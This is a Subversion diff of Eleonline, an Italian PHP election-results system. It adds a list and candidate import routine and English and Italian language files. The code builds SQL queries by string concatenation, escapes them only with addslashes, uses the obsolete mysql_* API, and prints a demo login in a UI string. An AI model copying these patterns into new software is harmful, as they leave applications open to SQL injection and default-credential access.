+								unset($ar_gruppo);
+							}
+							$ar_lista[$z][$key]=addslashes(base64_decode($val));}
+						elseif ($conf==$prefix."_ele_candidati"){
+							if($primol==0){
+								$listafil= array_filter($ar_lista);
+								$numlista=count($listafil);
+								inslista();
+								$primol=1;
+								unset($ar_lista);
+							}
+							$ar_candi[$z][$key]=addslashes(base64_decode($val));
+						}
+						elseif ($conf==$prefix."_ele_circoscrizione"){
+							inscandi();
+							unset($ar_candi);
+							$fine=1;
+							break;
+						}
+				$currentLine++;
+				$z++;
+			}
+fclose($handle);
+
+
+
+if ($numgruppo){
+#	insgruppo();
+	Header("Location: admin.php?op=gruppo&id_cons_gen=$id_cons_gen");
+	}
+elseif ($numlista) {
+	inslista(0,0);
+	Header("Location: admin.php?op=lista&id_cons_gen=$id_cons_gen");
+	}
+else Header("Location: admin.php?op=lista&id_cons_gen=$id_cons_gen");
+
+}
+
+echo"</td></tr></table>";
+include("footer.php");
+
+
+
+
+
+
+
+
+
+
+
+/*
+foreach ($ar_gruppo as $rigagruppo){
+	$newidg=0;
+	$oldidg=0;
+	foreach($rigagruppo as $key=>$campo){
+		if ($key==0) $valori="'$idcns',";
+		elseif ($key==1) {$valori.= "null"; $oldidg=$campo;}
+		elseif ($key==6) $valori.= ",0";
+		else $valori.= ",'$campo'";
+		if ($key==2) $numgruppo= $campo;
+	} 
+	if(isset($valori)){
+	$res_gruppo = mysql_query("insert into ".$prefix."_ele_gruppo values($valori)" ,$dbi)||die("(1104) Non e' stato possibile inserire i gruppi nel database! contattare l'amministratore".mysql_error());
+	$resnew = mysql_query("select id_gruppo from ".$prefix."_ele_gruppo where num_gruppo='$numgruppo' and id_cons='$idcns'" ,$dbi);
+	list ($newidg) = mysql_fetch_row($resnew);
+	unset($valori);
+	foreach ($ar_lista as $rigalista){
+		$oldidl=0;
+		foreach($rigalista as $key=>$campo){
+			if ($key==0) $valori="'$idcns',";
+			elseif ($key==1) {$valori.= "null";$oldidl=$campo;}
+			elseif ($key==3) {$valori.= ",'$newidg'"; if ($campo!=$oldidg) $okl=1;}
+			elseif ($key==4) $valori.= ",0"; 
+			else $valori.= ",'$campo'";
+			if ($key==2) $numlista= $campo;
+		}
+		if(isset($valori)){
+		if ($okl) {$okl=0;continue;}
+		$res_lista = mysql_query("insert into ".$prefix."_ele_lista values($valori)" ,$dbi)||die("(1104) Non e' stato possibile inserire le liste nel database! contattare l'amministratore".mysql_error());
+		$reslnew = mysql_query("select id_lista from ".$prefix."_ele_lista where num_lista='$numlista' and id_cons='$idcns'" ,$dbi);
+		list ($newidl) = mysql_fetch_row($reslnew);
+		unset($valori);
+		foreach ($ar_candi as $rigacandi){
+			foreach($rigacandi as $key=>$campo){if (count($rigacandi)!=8) {unset($valori);continue;}
+				if ($key==0) $valori= "null,";
+				elseif ($key==1) $valori.="'$idcns',";
+				elseif ($key==2) {$valori.= "'$newidl'"; if ($campo!=$oldidl) $okc=1;}
+				else $valori.= ",'$campo'";
+			}
+			if(isset($valori)){
+				if ($okc) {$okc=0;continue;}
+				$res_lista = mysql_query("insert into ".$prefix."_ele_candidati values($valori)" ,$dbi)||die("(1104) Non e' stato possibile inserire i candidati nel database! contattare l'amministratore".mysql_error());
+			}
+		}
+		}
+	}
+	}
+}	
+*/
+
+?>
Index: /trunk/elezioni/trunk/admin/modules/Elezioni/language/lang-en.php
===================================================================
--- /trunk/elezioni/trunk/admin/modules/Elezioni/language/lang-en.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/modules/Elezioni/language/lang-en.php	(revision 44)
@@ -0,0 +1,417 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/* lang_it.php Linguaggio Italiano                                      */
+/************************************************************************/
+global $tipo_cons;
+switch ($tipo_cons){
+	case '':
+		define("_CONSULTAZIONE","Elections");
+		break;
+	case 1:
+		define("_CONSULTAZIONE","Provincial Elections"); 
+		define("_GRUPPO","Candidate for Presidente");
+		define("_GRUPPOLOGO","Presidente Logo");
+		define("_PRESI","President");
+		define("_CONSI","Councilman");
+		define("_DESCRCONS","PROVINCIAL");
+		break;
+	case 2:
+		define("_CONSULTAZIONE","Referendum"); 
+		define("_GRUPPO","Referendum Question");
+		define("_GRUPPOLOGO","Logo");
+		define("_PRESI","Question");
+		define("_DESCRCONS","REFERENDUM");
+		break;
+	case 3:
+		define("_CONSULTAZIONE","Communal Elections"); 
+		define("_GRUPPO","Candidate City Mayor");
+		define("_GRUPPOLOGO","Mayor Logo");
+		define("_PRESI","Mayor");
+		define("_CONSI","Councilman");
+		define("_SOLO_GRUPPO","Ballots for candidate Mayor only");
+		define("_VOTI_LISTA","Ballots for the list");
+		break;
+	case 4:
+		define("_GRUPPO","Candidate President");
+		break;
+	case 5: 
+		define("_CONSULTAZIONE","Second Round"); 
+		define("_GRUPPO","Candidate Mayor");
+		define("_GRUPPOLOGO","Mayor Logo");
+		define("_PRESI","Mayor");
+		define("_DESCRCONS","SECOND ROUND");
+		break;
+	case 6:
+		define("_CONSULTAZIONE","Consultazione Camera"); 
+		define("_GRUPPO","Lista");
+		define("_GRUPPOLOGO","Logo della Lista");
+		break;
+	case 7:
+		define("_CONSULTAZIONE","Consultazione Senato"); 
+		define("_GRUPPO","Lista");
+		define("_GRUPPOLOGO","Logo della Lista");
+		break;
+	case 8:
+		define("_CONSULTAZIONE","European Parliament Election"); 
+		define("_GRUPPO","List");
+		define("_GRUPPOLOGO","List Logo");
+		define("_CONSI","List Candidate");
+		break;
+	case 9: 
+		define("_CONSULTAZIONE","Regional Parliament Election"); 
+		define("_GRUPPO","Candidate for President");
+		break;
+	case 10: //dal 2006 per senato e camera si ha un raggruppamento delle liste ma senza possibilità di voto per il gruppo (solo in italia!)
+		define("_CONSULTAZIONE","Senato Election"); 
+		define("_GRUPPO","Groupings");
+		break;
+	case 11:
+		define("_CONSULTAZIONE","Camera Election"); 
+		define("_GRUPPO","Groupings");
+		break;
+	case 12:
+		define("_CONSULTAZIONE","Provincial Elections"); 
+		define("_GRUPPO","Candidate for Presidente");
+		define("_GRUPPOLOGO","Presidente Logo");
+		define("_PRESI","President");
+		define("_CONSI","Councilman");
+		define("_DESCRCONS","PROVINCIAL");
+		break;
+	case 13: 
+		define("_CONSULTAZIONE","Second Round"); 
+		define("_GRUPPO","Candidate President");
+		define("_GRUPPOLOGO","President Logo");
+		define("_PRESI","President");
+		define("_DESCRCONS","SECOND ROUND");
+		break;
+	case 14:
+		define("_CONSULTAZIONE","European Parliament Election"); 
+		define("_GRUPPO","List");
+		define("_GRUPPOLOGO","List Logo");
+		define("_CONSI","List Candidate");
+		break;
+	case 15:
+		define("_CONSULTAZIONE","Camera Election"); 
+		define("_GRUPPO","Groupings");
+		break;
+	case 16: 
+		define("_CONSULTAZIONE","Senato Election"); 
+		define("_GRUPPO","Groupings");
+		break;
+	case 17: 
+		define("_CONSULTAZIONE","Regional Parliament Election"); 
+		define("_GRUPPO","Candidate for President");
+		break;
+
+}
+
+
+if($tipo_cons==12 or $tipo_cons==14 or $tipo_cons==15 or $tipo_cons==16 or $tipo_cons==17){
+define("_SCEGLI_CIRCO","Choose Borough");
+define("_ELE_CIRCO","Borough Election");
+define("_CIRCO","Borough");
+define("_CIRCOS","Boroughs");
+define("_IDCIRC","Id Borough ");
+define("_CIRCS","Boroughs");
+}else{
+define("_SCEGLI_CIRCO","Choose Constituency");
+define("_ELE_CIRCO","Constituency Election");
+define("_CIRCO","Constituency");
+define("_CIRCOS","Constituencies");
+define("_IDCIRC","Id circos. ");
+define("_CIRCS","Constituencies");
+}
+
+define("_NOTAOP","");
+define("_SISTEMA_MAGGIORITARIO","Majority Rules");
+define("_SISTEMA_PROPORZIONALE","Proportional");
+define("_INDIRIZZOWEB1","URL of the server");
+define("_SCARICACONS","Choose consultation");
+define("_SCELTACOMUNE","Choose the zone");
+define("_SCARICA","Download lists");
+define("_IMPORTA","Import lists");
+define("_CONFIGDEFAULT","General configuration");
+define("_CONFIGURAZIONE","Site configuration");
+define("_TEMA","Theme");
+define("_TESTATA","Header imagine");
+define("_BLOCCO","Show lateral block?");
+define("_MULTICOMUNE","Managing more towns?");
+define("_PREFIX","Table prefix");
+define("_ADMINMAIL","administrator mail");
+define("_SITEURL","Site URL or IP");
+define("_SITENAME","Site name");
+define("_SITEISTAT","Default<br>town to show");
+define("_LANGUAGE","Default language (it, en...");
+define("_FLASH","Show flash animations?");
+define("_DISPLAYERRORS","debug on/off");
+define("_FILEOUT","sql file to store input data");
+
+define("_LIMITE","Majority/proportional");
+define("_CONSPRED","Set default election");
+define("_STEMMA","Stemma");
+define("_CONSIN","Mayor not elected will be councilman?");
+define("_INFPREMIO","Majority premium %");
+define("_LISTINFSBAR","Sbarramento %");
+define("_INFMINPREMIO","Premio di maggioranza<br>solo oltre %");
+define("_LISTINFCONTA","I voti di lista sotto lo sbarramento<br>vengono conteggiati per il gruppo?");
+define("_SUPPREMIO","Premio di maggiornaza %");
+define("_SUPSBAR","Sbarramento %");
+define("_SUPMINPREMIO","Premio di maggioranza<br>solo oltre %");
+define("_LISTSUPCONTA","I voti di lista sotto lo sbarramento<br>vengono conteggiati per il gruppo?");
+define("_NOFASCIA","Solo maggioritario");
+define("_RESTORE","Restore");
+define("_CONFCONS","Tipi Consiglio");
+define("_CONF","Legge elettorale");
+
+
+define("_MEX_RESTORE_FAILED","WARNING! Restore has failed.");
+define("_MEX_RESTORE_OK","DATA RESTORE IS OK");
+define("_RESTORE","Restore");
+define("_BACKUP","Backup");
+define("_SEL_DATA_FILE","Warning! you can restore data only if it came from the same database! (or database replica)<br> Choose file to restore");
+define("_SEL_DATA_FILE2","Warning! your data in current consultation will be overwritten!<br> Choose file to import");
+define("_TEST","If you wont to test Eleonline start inserting username \"suser\" and password \"test\"");
+define("_GESTIONE","managing vote counting and publishing results");
+define("_TIPO_ADM","Managing Types");
+define("_LINGUA","Language");
+define("_FASCIA","Citizens");
+define("_TUTTESEDI","All electoral centers");
+define("_ATT_VOTI","Warning! ballots");
+define("_ATT_VOTANTI","Warning! voters");
+define("_NO_TOT_VOTI","is not equal to the total ballots");
+define("_NO_VAL_VOTI","is not equal to the valid ballots");
+define("_ATT_VOTI_REF","Warning! Inserted ballots for the Referendum n.");
+define("_ATT_VOTANTI_REF","Warning! Inserted final ballots for the Referendum n.");
+define("_NO_SOMMA","is not equal to the total ballots:");
+define("_COD_NV","Not valid code ");
+define("_REFERENDUM","Referendum");
+define("_CON_GRUPPI","With groupings");
+define("_NO_VOTO_GRUPPO","Not to vote for the Group");
+define("_LISTE_UNI","One candidate for list");
+define("_NO_VOTO_LISTA","Not to vote for the list");
+define("_NO_VOTO_CANDI","Not to vote for the candidates");
+define("_BALLO","Second round");
+define("_DEFCONS","Define the characteristics of the election");
+define("_SOLO_GRUPPO","Ballots to groups only");
+define("_VOTI_LISTA","Ballots to lists");
+define("_GENCONS0","Referendum");
+define("_GENCONS1","Second round");
+define("_GENCONS2","One candidate for list");
+define("_GENCONS3","Groups and Lists but no ballots for candidates");
+define("_GENCONS4","More candidates for list");
+define("_GENCONS5","Groups and Lists and ballots for candidates");
+define("_CAMBIOPWD","Change Password");
+define("_CHGPWD","Password change");
+define("_ERRPWD","WARNING: ERROR INSERTING PASSWORD!");
+define("_OLDPWD","Old Password");
+define("_NEWPWD1","New Password");
+define("_NEWPWD2","New Password again");
+define("_YES","Yes");
+define("_ISCRITTI","Enrolled");
+define("_INSEZ","in the section");
+define("_PERC","Perc.");
+define("_DOMAGGIORNA","Really do you wont to change voters number in");
+define("_UPDATE","Update");
+define("_ERRORE","Error");
+define("_COME","How to vote");
+define("_NUMERI","Useful numbers");
+define("_SERVIZI","Services");
+define("_LINK","Useful links");
+define("_CONSULTAZIONI","Elections");
+define("_OPERATORI","Operators");
+define("_AGGIUNGI","Add");
+define("_COLLEGI","Districts");
+define("_DEFCOMUNE","Cities");
+define("_CODICE","Code");
+define("_CENTRALINO","Telephone");
+define("_EMAIL","E-mail");
+define("_FILTRO","Search mask");
+define("_INSCOMUNE","Authorize Cities");
+define("_CONSULTAZIONE_ADM","Election");
+define("_AMMINISTRATORI", "Administrators");
+define("_PASSWORD","Password");
+define("_RIPETI","Password again");
+define("_COMPLESSIVO","all");
+define("_CONTR_CONS","Verification of the ballots to the lists");
+define("_CONTR_GRUP","Verification of the ballots to the groups");
+define("_DATAIN","Starting Date");
+define("_DATAFINE","Ending Date");
+define("_GEST","Managing");
+define("_MODIFY","Modify");
+define("_ESCI","Exit");
+define("_POPOLA","Import");
+define("_SOSPESO","Suspended");
+define("_IMPOSTA_DATI","Administrator");
+define("_INSERISCE_DATI","Operator");
+define("_UTENTE","User");
+define("_PERMESSI","Privileges");
+define("_NULLA","NOT VALID");
+define("_ATTIVA","IN USE");
+define("_ATTIVO","In use");
+define("_CHIUSA","CLOSED");
+define("_ASOLA_LISTA","to the List");
+define("_ASOLO_GRUPPO","to the Groups only");
+define("_COLLEGIO","district");
+define("_A","to");
+define("_DA","from");
+define("_DI","of");
+define("_COMUNE","City");
+define("_VIS_PERC","Show percentages");
+define("_SEZIONE","Section");
+define("_SEZIONI","Sections");
+define("_UOMINI","Men");
+define("_DONNE","Women");
+define("_COMPLESSIVI","in total");
+define("_VOTIE","Express ballots");
+define("_SEZNOS","Sections to be Counted");
+define("_SEZSCR","Counted Sections");
+define("_LISTA","List");
+define("_PREFLISTA","Ballots to the list");
+define("_CANDIDATO","Candidate");
+define("_GESAMMIN","Admin Management ");
+define("_DESCR","Description");
+define("_IMMCONS","Insert Election");
+define("_DOMCANCELLA","Are you sure to delete ");
+define("_FUNZIONI","Modify function ");
+define("_NEXT_MATCH","Next");
+define("_PREV_MATCH","Previous");
+define("_NEXT","Next");
+define("_PREV","Previous");
+define("_SCELTA","Choose");
+define("_SCEGLI","Choose ");
+define("_SEDE","Electoral Center ");
+define("_NUM","Number ");
+define("_IDCONS","Id election ");
+define("_IMM","Inserting");
+define("_TEL","Telephone");
+define("_INDIRIZZO","Address");
+define("_FAX","Fax");
+define("_RESP","Section head");
+define("_MASCHI","Men ");
+define("_FEMMINE","Women ");
+define("_TOTS","Totals ");
+define("_TOT","Total ");
+define("_TOTPREF","Sum of ballots");
+define("_GESTIMM","Logo Management");
+define("_SIMBOLO","Logo");
+define("_INVIOFILE","<font color=\"red\">File upload (jpg,gif or png) for Logo</font>");
+define("_FILEDAINVIARE","Choose the file to upload");
+define("_CANCELLAFILE","<font color=\"red\">Delete Logo file</font>");
+define("_SCELTAFILE","Choose the file to delete");
+define("_LISTALOGO","List Logo");
+define("_COGNOME","Surname");
+define("_NOME","Name");
+define("_FOTO","Photo");
+define("_NOTE","Notes");
+define("_GESSPOGLIO","Managing Electoral Operations");
+define("_SPOGLIO","Vote counting");
+define("_VOTI","Ballots");
+define("_VOTANTI","Electors");
+define("_PREFERENZE","Ballots");
+define("_ORA","Time");
+define("_TITOLO","Title");
+define("_PREAMBOLO","Summary");
+define("_CONTENUTO","Text");
+define("_DATA","Date");
+define("_VOTID","Women Ballots");
+define("_VOTIU","Men Ballots");
+define("_VOTIT","Total of Ballots");
+define("_VALIDI","Valid Ballots");
+define("_NULLI","Non Valid Ballots");
+define("_VOTINULLI","Non Valid Votes");
+define("_NULLI_LISTE","Non Valid Votes to Lists");
+define("_BIANCHI","Blank Ballots");
+define("_CONTESTATI","Contested Ballots");
+define("_CONTESTATI_LISTE","Contested Ballots to Lists");
+define("_TOTALEVOTI","Total of Ballots");
+define("_TOT_ULT","Voters at end");
+define("_VOTIINS","Inserted Ballots");
+define("_CANDINS","Inserted Candidates");
+define("_TOTNON","Total of non valid Ballots");
+define("_CANDIDATI","Candidates");
+define("_DATIG","General Informations");
+define("_AVENTI","Electors"); //Aventi Diritto
+define("_SI","Yes");
+define("_NO","No");
+define("_AFFLUENZE","Affluence");
+define("_NOTA","The information in this pages, susceptible of modifications, are unofficial. They have pure informative value.");
+define("_ORE","time");
+define("_ALLE","at");
+define("_DEL","of the");
+define("_STATO","State");
+define("_OK","Ok");
+define("_ANCHE","also");
+define("_VISUALIZZA","Show the data");
+define("_TIPO","Type");
+define("_CONSULTA","Election");
+define("_PERCE","Percentages");
+define("_RISULTA","Results");
+define("_PER","for");
+define("_SEZSCRU","Scrutinate Sections ");
+define("_SU","on");
+define("_LA","the");
+define("_ADMINID","User");
+define("_ADMINCOME","HOW TO VOTE - Administration");
+define("_EDITORIAL","General Informations");
+define("_EDITORIALADMIN","Managing Informations");
+define("_EDITINFO","Edit informations");
+define("_EDIT","Edit");
+define("_ADD","Add");
+define("_NEW","New");
+define("_DELETE","Delete");
+define("_COPIA","Copy");
+define("_STRUTTURA","Structure");
+define("_ADDCOME","Add information");
+define("_ADDPRES","Add candidate for president");
+define("_ALLCOME","Inserted Informations");
+define("_REMOVEINFO","Are you sure to delete this information? ");
+define("_IMAGE","Immagine informazione");
+define("_CONTINUA","continue <img src=\"images/site.gif\" align=\"center\" border=\"0\">");
+define("_MESSAGEPREAMBLE","Preamble (max 500 char)");
+define("_ADMINNUMERI","Numbers - Administration");
+define("_ADMINSERVIZI","Services - Administration");
+define("_ADMINLINK","Links - Administration");
+define("_CONTR_ESPR","Ballots Verification");
+define("_CONTR_PREF","Preferences Verification");
+// Note
+//define("_ENTE","Comune di Guidonia Montecelio (Provincia di Roma)");
+//define("_NOTACSV","Notes: I dati sono estratti dal sito del ");
+//define("_DISC1","Ogni rappresentazione ed uso e' consentita citando la fonte dei dati");
+//define("_SITO","http://www.guidonia.org ");
+// Copyright
+define("_SORALDO","Eleonline: Modulo elettorale");
+define("_VERS","versione 1.0 beta ");
+define("_NON","Not");
+define("_EXPORT","Export");
+define("_TABULA","(tab formatted)");
+define("_GRAFICI","Diagrams ");
+define("_ALL","All ");
+//define("_MAIN","Qui sono e saranno presenti i dati e i risultati delle
+//consultazioni elettorali svolte nel ");
+define("_THEMES","Tema Grafico");
+define("_ACTIVE","Activ ");
+define("_BLOCCHI","Lateral blocks");
+define("_BLOCKS","Blocks");
+define("_MENUCONF","Configuration Menu for graphical aspect");
+define("_GESFILE","Image Files Managing");
+define("_LOGO","Image or Logo");
+define("_ELETTORI","Enrolled");
+define("_EDIFICIO","Building");
+define("_MAPPA","Map");
+define("_LINK","Link");
+define("_NUMERITEL","Telephon");
+define("_DESCRAPP","Deep Description");
+define("_DESCRLINK","Short description for the link");
+define("_HELPHTML","You can use all HTML tags. Example: <font color=\"#ff0000\">&lt br &gt </font>new line</pre>");
+define("_SUPER","S<br>U<br>P<br>E<br>R<br>U<br>S<br>E<br>R");
+define("_ADMIN","A<br>D<br>M<br>I<br>N<br>I<br>S<br>T<br>R<br>A<br>T<br>O<br>R");
+define("_OPER","O<br>P<br>E<br>R<br>A<br>T<br>O<br>R");
+define("_SCELTA_CONS","Choose an Election");
+define("_WIDGET","Widget");
+define("_PLUGINS","Plugins");
+define("_CONFIGWIDGET","Widget Configuration");
+?>
Index: /trunk/elezioni/trunk/admin/modules/Elezioni/language/lang-it.php
===================================================================
--- /trunk/elezioni/trunk/admin/modules/Elezioni/language/lang-it.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/modules/Elezioni/language/lang-it.php	(revision 44)
@@ -0,0 +1,452 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/* lang_it.php Linguaggio Italiano                                      */
+/************************************************************************/
+global $tipo_cons;
+switch ($tipo_cons){
+	case '':
+		define("_CONSULTAZIONE","Consultazione");
+		break;
+	case 1:
+		define("_CONSULTAZIONE","Consultazione Elezioni Provinciali"); //genere 3
+		define("_GRUPPO","Candidato Presidente");
+		define("_SOLO_GRUPPO","Voti al solo candidato Presidente");
+		define("_GRUPPOLOGO","Logo del Presidente");
+		define("_PRESI","Presidente");
+		define("_CONSI","Consigliere");
+		define("_DESCRCONS","PROVINCIALI");
+		break;
+	case 2:
+		define("_CONSULTAZIONE","Consultazione Referendaria"); //genere 0
+		define("_GRUPPO","Quesito Referendario");
+		define("_GRUPPOLOGO","Logo del Quesito");
+		define("_PRESI","Quesito");
+		define("_DESCRCONS","REFERENDUM");
+		break;
+	case 3:
+		define("_CONSULTAZIONE","Consultazione Elezioni Comunali"); //genere 5
+		define("_GRUPPO","Candidato Sindaco");
+		define("_GRUPPOLOGO","Logo del Sindaco");
+		define("_PRESI","Sindaco");
+		define("_CONSI","Consigliere");
+		define("_SOLO_GRUPPO","Voti al solo candidato Sindaco");
+		define("_DESCRCONS","COMUNALI");
+		break;
+	case 4:
+		define("_GRUPPO","Candidato Presidente");
+		define("_SOLO_GRUPPO","Voti al solo candidato Presidente");
+		define("_DESCRCONS","CIRCOSCRIZIONALI");
+		break;
+	case 5: 
+		define("_CONSULTAZIONE","Sessione di Ballottaggio"); //genere 1
+		define("_GRUPPO","Candidato Sindaco");
+		define("_GRUPPOLOGO","Logo del Sindaco");
+		define("_PRESI","Sindaco");
+		define("_DESCRCONS","BALLOTTAGGIO");
+		break;
+	case 6:
+		define("_CONSULTAZIONE","Consultazione Camera"); //genere 2
+		define("_GRUPPO","Lista");
+		define("_GRUPPOLOGO","Logo della Lista");
+		define("_DESCRCONS","CAMERA SENZA GRUPPI");
+		break;
+	case 7:
+		define("_CONSULTAZIONE","Consultazione Senato"); //genere 2
+		define("_GRUPPO","Lista");
+		define("_GRUPPOLOGO","Logo della Lista");
+		define("_DESCRCONS","SENATO SENZA GRUPPI");
+		break;
+	case 8:
+		define("_CONSULTAZIONE","Consultazione Parlamentare Europea"); //genere 4
+		define("_GRUPPO","Lista");
+		define("_GRUPPOLOGO","Logo della Lista");
+		define("_CONSI","Candidato Lista");
+		define("_DESCRCONS","EUROPEE");
+		break;
+	case 9:
+		define("_CONSULTAZIONE","Consultazione Elezioni Regionali"); //genere 5
+		define("_GRUPPO","Candidato Presidente");
+		define("_SOLO_GRUPPO","Voti al solo candidato Presidente");
+		define("_DESCRCONS","REGIONALI");
+		break;
+	case 10: //dal 2006 per senato e camera si ha un raggruppamento delle liste ma senza possibilità di voto per il gruppo
+		define("_CONSULTAZIONE","Consultazione Senato"); //genere 2
+		define("_GRUPPO","Coalizione");
+		define("_DESCRCONS","SENATO CON GRUPPI");
+		break;
+	case 11:
+		define("_CONSULTAZIONE","Consultazione Camera"); //genere 2
+		define("_GRUPPO","Coalizione");
+		define("_DESCRCONS","CAMERA CON GRUPPI");
+		break;
+	case 12:
+		define("_CONSULTAZIONE","Consultazione Elezioni Provinciali"); //genere 3
+		define("_GRUPPO","Candidato Presidente");
+		define("_SOLO_GRUPPO","Voti al solo candidato Presidente");
+		define("_GRUPPOLOGO","Logo del Presidente");
+		define("_PRESI","Presidente");
+		define("_CONSI","Consigliere");
+		define("_DESCRCONS","PROVINCIALI");
+		break;
+	case 13: 
+		define("_CONSULTAZIONE","Sessione di Ballottaggio"); //genere 1
+		define("_GRUPPO","Candidato Presidente");
+		define("_GRUPPOLOGO","Logo del Presidente");
+		define("_PRESI","Presidente");
+		define("_DESCRCONS","BALLOTTAGGIO");
+		break;
+	case 14:
+		define("_CONSULTAZIONE","Consultazione Parlamentare Europea"); //genere 4
+		define("_GRUPPO","Lista");
+		define("_GRUPPOLOGO","Logo della Lista");
+		define("_CONSI","Candidato Lista");
+		define("_DESCRCONS","EUROPEE");
+		break;
+	case 15:
+		define("_CONSULTAZIONE","Consultazione Camera"); //genere 2
+		define("_GRUPPO","Coalizione");
+		define("_DESCRCONS","CAMERA CON GRUPPI");
+		break;
+	case 16: 
+		define("_CONSULTAZIONE","Consultazione Senato"); //genere 2
+		define("_GRUPPO","Coalizione");
+		define("_DESCRCONS","SENATO CON GRUPPI");
+		break;
+	case 17:
+		define("_CONSULTAZIONE","Consultazione Elezioni Regionali"); //genere 5
+		define("_GRUPPO","Candidato Presidente");
+		define("_DESCRCONS","REGIONALI");
+		break;
+        case 28:
+                 define("_CONSULTAZIONE","Consultazione Sindacale"); //genere 2
+                 define("_GRUPPO","Sigla");
+                 define("_DESCRCONS","Rappresentanza Sindacale Unitaria");
+                 define("_CONSI","Candidato Lista");
+                 break;
+
+
+}
+
+if($tipo_cons==12 or $tipo_cons==14 or $tipo_cons==15 or $tipo_cons==16 or $tipo_cons==17){
+define("_SCEGLI_CIRCO","Scegli il collegio");
+define("_ELE_CIRCO","Elezione Circoscrizionale");
+define("_CIRCO","Collegio");
+define("_CIRCOS","Collegi");
+define("_IDCIRC","Id collegio ");
+define("_CIRCS","Collegi");
+}else{
+define("_SCEGLI_CIRCO","Scegli la Circoscrizione");
+define("_ELE_CIRCO","Elezione Circoscrizionale");
+define("_CIRCO","Circoscrizione");
+define("_CIRCOS","Circoscrizioni");
+define("_IDCIRC","Id circos. ");
+define("_CIRCS","Circoscrizioni");
+}
+define("_NOTAOP","L'utente amministratore unico di un comune deve chiamarsi obbligatoriamente admin<br>Si stanno inserendo utenti per il comune di");
+define("_INDIRIZZOWEB1","URL del server");
+define("_SISTEMA_MAGGIORITARIO","SISTEMA MAGGIORITARIO");
+define("_SISTEMA_PROPORZIONALE","SISTEMA PROPORZIONALE");
+define("_SCARICACONS","Scegli la consultazione");
+define("_SCELTACOMUNE","Scegli la zona");
+define("_IMPORTA","Importa liste");
+define("_SCARICA","Scarica liste");
+define("_TEMAATTIVO","Visualizzare la scelta del tema?");
+define("_GKEY","Chiave per google maps");
+define("_GOOGLEMAPS","Attivare l'accesso alle google maps?");
+define("_EDITOR","Utilizzare l' FCKeditor?");
+define("_EDUSER","Permessi d'uso di FCKeditor");
+define("_CONFIGDEFAULT","Impostazioni di configurazione generale");
+define("_CONFIGURAZIONE","Configurazione sito");
+define("_TEMA","Tema predefinito");
+define("_TESTATA","Immagine per la testata");
+define("_BLOCCO","Visualizzare il blocco laterale?");
+define("_MULTICOMUNE",htmlentities("Si gestiscono più comuni?"));
+define("_PREFIX","Prefisso delle tabelle");
+define("_ADMINMAIL","mail dell'amministratore");
+define("_SITEURL","URL del sito o IP");
+define("_SITENAME","Nome del sito");
+define("_SITEISTAT","Comune<br>visualizzato per default");
+define("_LANGUAGE","Codice della lingua da utilizzare");
+define("_FLASH","Utilizzare le animazioni flash?");
+define("_DISPLAYERRORS","Attivare il debug");
+define("_FILEOUT","Nome del file per esportazione dati sql");
+define("_LIMITE","Limite sist. maggioritario");
+define("_CONSPRED","Imposta la consultazione predefinita");
+define("_STEMMA","Stemma");
+define("_CONSIN","Il candidato sindaco viene eletto consigliere?");
+define("_INFPREMIO","Premio di maggioranza %");
+define("_LISTINFSBAR","Sbarramento %");
+define("_INFMINPREMIO","Premio di maggioranza<br>solo oltre %");
+define("_LISTINFCONTA","I voti di lista sotto lo sbarramento<br>vengono conteggiati per il gruppo?");
+define("_SUPPREMIO","Premio di maggiornaza %");
+define("_SUPSBAR","Sbarramento %");
+define("_SUPMINPREMIO","Premio di maggioranza<br>solo oltre %");
+define("_LISTSUPCONTA","I voti di lista sotto lo sbarramento<br>vengono conteggiati per il gruppo?");
+define("_NOFASCIA","Solo maggioritario");
+define("_RESTORE","Restore");
+define("_CONFCONS","Config. D'Hondt");
+define("_CONF","Legge elettorale");
+define("_BACKUP","Backup");
+define("_SEL_DATA_FILE","FUNZIONE DI RIPRISTINO DEI DATI DI UNA CONSULTAZIONE<br><br>Attenzione! si possono ripristinare solamente dati provenienti dallo stesso database (o da sue repliche).<br>Scegli il file di dati da ripristinare");
+define("_SEL_DATA_FILE2","FUNZIONE DI IMPORTAZIONE DI LISTE E CANDIDATI<br><br>Attenzione! I dati sostituiscono completamente quelli eventualmente gia' presenti nella consultazione corrente.<br>Scegli il file di dati da importare");
+define("_MEX_RESTORE_FAILED","ATTENZIONE! L'operazione di restore e' fallita! .");
+define("_MEX_RESTORE_OK","Operazione di restore dei dati effettuata con successo");
+define("_TEST","Se vuoi testare il programma inizia inserendo il nome utente \"suser\" e la password \"test\"");
+define("_GESTIONE","gestione dello spoglio elettorale e pubblicazione dei risultati");
+define("_GESTIPO","Gestione Tipi di Consultazione");
+define("_LINGUA","Lingua");
+define("_FASCIA","Abitanti");
+define("_TIPO_ADM","Gestione Tipi");
+define("_TUTTESEDI","Tutte le sedi");
+define("_ATT_VOTI","Attenzione! I voti  inseriti");
+define("_ATT_VOTANTI","Attenzione! I votanti finali inseriti");
+define("_NO_TOT_VOTI","non corrispondono al totale dei voti");
+define("_NO_VAL_VOTI","non corrispondono ai voti validi");
+define("_ATT_VOTI_REF","Attenzione! I voti  inseriti per il Referendum n.");
+define("_ATT_VOTANTI_REF","Attenzione! I votanti finali inseriti per il Referendum n.");
+define("_NO_SOMMA","non corrispondono alla somma dei voti:");
+define("_COD_NV","Codice ISTAT non valido");
+define("_REFERENDUM","Referendum");
+define("_CON_GRUPPI","Con raggruppamenti");
+define("_NO_VOTO_GRUPPO","Non si vota per il Gruppo");
+define("_LISTE_UNI","Liste uninominali");
+define("_NO_VOTO_LISTA","Non si vota per la lista");
+define("_NO_VOTO_CANDI","Non si vota per i candidati");
+define("_BALLO","Ballottaggio");
+define("_DEFCONS","Definisci il genere della consultazione");
+define("_VOTI_LISTA","Voti di lista");
+define("_GENCONS0","Referendum");
+define("_GENCONS1","Ballottaggio");
+define("_GENCONS2","Liste Uninominali");
+define("_GENCONS3","Gruppi e liste senza preferenze ai candidati");
+define("_GENCONS4","Liste a piu' candidati");
+define("_GENCONS5","Gruppi e liste con preferenze ai candidati");
+define("_CAMBIOPWD","Modifica Password");
